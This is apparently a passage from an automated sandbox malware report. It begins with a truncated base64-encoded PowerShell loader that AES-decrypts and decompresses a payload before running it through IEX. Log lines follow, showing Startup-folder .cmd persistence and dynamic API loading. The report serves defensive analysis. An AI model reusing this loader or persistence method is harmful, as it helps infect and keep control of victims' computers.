jVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_004044A4 LoadLibraryW,GetProcAddress,FreeLibrary,MessageBoxW,12_2_004044A4
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_031D6575 push eax; ret 11_2_031D65E1
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_031D65C5 push eax; ret 11_2_031D65E1
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_031D6862 push eax; retf 11_2_031D6879
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044693D push ecx; ret 12_2_0044694D
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044DB70 push eax; ret 12_2_0044DB84
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0044DB70 push eax; ret 12_2_0044DBAC
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_00451D54 push eax; ret 12_2_00451D61
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0044B090 push eax; ret 13_2_0044B0A4
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_0044B090 push eax; ret 13_2_0044B0CC
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00451D34 push eax; ret 13_2_00451D41
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00444E71 push ecx; ret 13_2_00444E81
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00414060 push eax; ret 14_2_00414074
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00414060 push eax; ret 14_2_0041409C
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00414039 push ecx; ret 14_2_00414049
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_004164EB push 0000006Ah; retf 14_2_004165C4
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00416553 push 0000006Ah; retf 14_2_004165C4
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_00416555 push 0000006Ah; retf 14_2_004165C4
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmdJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmdJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eb7db44d.cmd\:Zone.Identifier:$DATAJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_aac21fe5.cmdJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_aac21fe5.cmd\:Zone.Identifier:$DATAJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_524a8e57.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_524a8e57.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_491647b6.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_491647b6.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_ec5275dd.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_ec5275dd.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_b584aa07.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_b584aa07.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_febaef34.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_febaef34.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_223343d6.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_223343d6.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_78f754a9.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_78f754a9.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_24d48e5a.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_24d48e5a.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_56855210.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_56855210.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6ca135e6.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6ca135e6.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ce74a33.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0ce74a33.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c48efb24.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c48efb24.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97fe2fc3.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97fe2fc3.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97ff8756.cmd
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_97ff8756.cmd\:Zone.Identifier:$DATA
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_004047CB LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,13_2_004047CB
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
